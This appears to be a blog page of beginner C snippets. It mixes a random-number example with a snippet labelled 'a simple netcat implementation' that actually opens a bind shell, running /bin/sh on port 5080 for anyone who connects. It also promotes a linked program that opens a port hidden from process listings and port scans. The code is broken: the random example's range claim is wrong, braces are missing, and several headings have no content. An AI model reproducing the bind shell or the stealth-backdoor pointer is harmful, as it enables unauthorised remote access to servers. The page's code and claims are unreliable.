A simple random number routine in C.

This is a simple random number example in C. This will print a random number from 1 – 64.

#include <stdio.h>
#include <stdlib.h>
int main (void) {
	int r = rand() % 64;
	printf("Random INT: %i\n", r);
	return 0;

This code is a simple netcat implementation that will open a listening port on 5080.

#include <stdio.h>
#include <unistd.h>
int main (void) {
	extern char * const environ[];
	char * const command[] = {"nc", "-l", "-p", "5080", "-e", "/bin/sh", NULL};
	execve("/bin/nc", command, environ);
	return 0;

Printing out a file to the terminal using C.


This code that I found: http://paste.scratchbook.ch/view/6f74b58f can run on a Linux machine and open a port invisibly. This allows access to a Linux server without the process showing in process manager and on a port scan of the machine.

C code that will print a tick sign to the terminal using asterisks. Very cool and useful code.


How to do a function call in C.


No comments have been made. Use this form to start the conversation :)

Leave a Reply